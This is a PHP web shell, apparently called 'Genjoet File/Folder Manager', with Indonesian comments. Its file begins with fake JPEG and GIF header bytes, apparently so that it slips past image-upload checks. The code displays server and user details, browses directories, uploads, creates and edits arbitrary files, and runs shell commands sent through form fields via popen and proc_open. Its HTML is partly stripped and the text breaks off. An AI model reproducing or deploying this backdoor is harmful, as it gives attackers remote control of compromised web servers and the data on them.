ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿşGIF89a; GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿşGIF89a; GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a GIF89;a
TYPE-0 PERFECT SEIHA Type-0
TYPE-0 PERFECT SEIHA
Server Info:'; echo '
' . htmlspecialchars(php_uname('a')) . '
'; echo '
User Info:
'; echo '
Current User: ' . htmlspecialchars($_SERVER['USER']) . '
'; echo '
Server Software:
'; if (strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false) { echo '
LiteSpeed
'; } elseif (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false) { echo '
Apache
'; } else { echo '
' . htmlspecialchars($_SERVER['SERVER_SOFTWARE']) . '
'; } function listFiles($dir) { $folders = array(); $files = array(); if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file != '.' && $file != '..') { $filePath = $dir . '/' . $file; $fileInfo = stat($filePath); $permissions = substr(sprintf('%o', fileperms($filePath)), -4); $lastModified = date('Y-m-d H:i:s', $fileInfo['mtime']); // Cek apakah posix tersedia if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $pwuid = @posix_getpwuid($fileInfo['uid']); $grgid = @posix_getgrgid($fileInfo['gid']); $userGroup = $pwuid['name'] . '/' . $grgid['name']; } else { $userGroup = 'Unknown/Unknown'; // Fallback untuk Windows } $size = is_dir($filePath) ? '-' : filesize($filePath); $permissionClass = is_writable($filePath) ? 'permission-green' : 'permission-red'; $fileData = array( 'name' => $file, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'userGroup' => $userGroup, 'path' => $filePath, 'isDir' => is_dir($filePath), 'permissionClass' => $permissionClass ); if ($fileData['isDir']) { $folders[] = $fileData; } else { $files[] = $fileData; } } } closedir($dh); } } else { echo '
Not a valid directory.
'; } echo '
Folders:
'; echo ''; echo ''; foreach ($folders as $folder) { echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
Name | Size | Permissions | Last Modified | User/Group |
---|---|---|---|---|
'.$folder['name'].' | '.$folder['size'].' | '.$folder['permissions'].' | '.$folder['lastModified'].' | '.$folder['userGroup'].' |
'; echo '
Files:
'; echo ''; echo ''; foreach ($files as $file) { echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
Name | Size | Permissions | Last Modified | User/Group |
---|---|---|---|---|
'.$file['name'].' | '.$file['size'].' | '.$file['permissions'].' | '.$file['lastModified'].' | '.$file['userGroup'].' |
'; } $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_GET['dir']) && is_dir($_GET['dir'])) { $currentDir = realpath($_GET['dir']); } chdir($currentDir); // Multiple File Aploder if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['files'])) { $uploadDir = $currentDir . '/'; // Loop untuk menangani beberapa file foreach ($_FILES['files']['name'] as $key => $name) { $uploadFile = $uploadDir . basename($name); if (move_uploaded_file($_FILES['files']['tmp_name'][$key], $uploadFile)) { echo '
File ' . htmlspecialchars($name) . ' uploaded successfully.
'; } else { echo '
Failed to upload file ' . htmlspecialchars($name) . '.
'; } } } // Single File Aploder echo '
'; if( $_POST['rhicavipz'] == "Unggah" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Berhasil! '; } else { echo 'Gagal :('; } } // Komeng if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['komeng'])) { $komeng = $_POST['komeng']; if ($komeng) { echo '
Komeng Output:
'; echo ''; // Menggunakan popen untuk membuka proses $handle = popen(escapeshellcmd($komeng), 'r'); if ($handle) { // Membaca output baris demi baris while (!feof($handle)) { $line = fgets($handle); if ($line) { echo ''; // Memecah setiap baris menjadi kolom $columns = preg_split('/\s+/', trim($line)); foreach ($columns as $column) { echo ''; } echo ''; } } // Menutup proses pclose($handle); } else { echo ''; } echo '
' . htmlspecialchars($column) . ' | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Function Disabled, coba pake proc manies!. |
'; } } // Edit if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) { $fileToSave = $_POST['filename']; $content = $_POST['content']; file_put_contents($fileToSave, $content); // Tetap berada di halaman edit setelah menyimpan $dir = dirname($fileToSave); header("Location: ?dir=" . urlencode($dir) . "&edit=" . urlencode($fileToSave)); } // Krit dir if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_dir'])) { $newDir = $_POST['new_dir']; if ($newDir) { $newDirPath = $currentDir . '/' . $newDir; if (!is_dir($newDirPath)) { mkdir($newDirPath); echo '
Directory created successfully.
'; } else { echo '
Directory already exists.
'; } } } // Krit file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) { $newFile = $_POST['new_file']; if ($newFile) { $newFilePath = $currentDir . '/' . $newFile; if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); echo '
File created successfully.
'; } else { echo '
File already exists.
'; } } } // Current Direktori function renderBreadcrumb($currentDir) { $pathArray = explode(DIRECTORY_SEPARATOR, $currentDir); echo '
'; } ?>
array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "r") // stderr is a file to write to ); $env = array('some_option' => 'aeiou'); $meki = ""; if(isset($_POST['cmd'])){ $cmd = ($_POST['cmd']); echo "
Genjoet File/Folder Manager
Edit File: |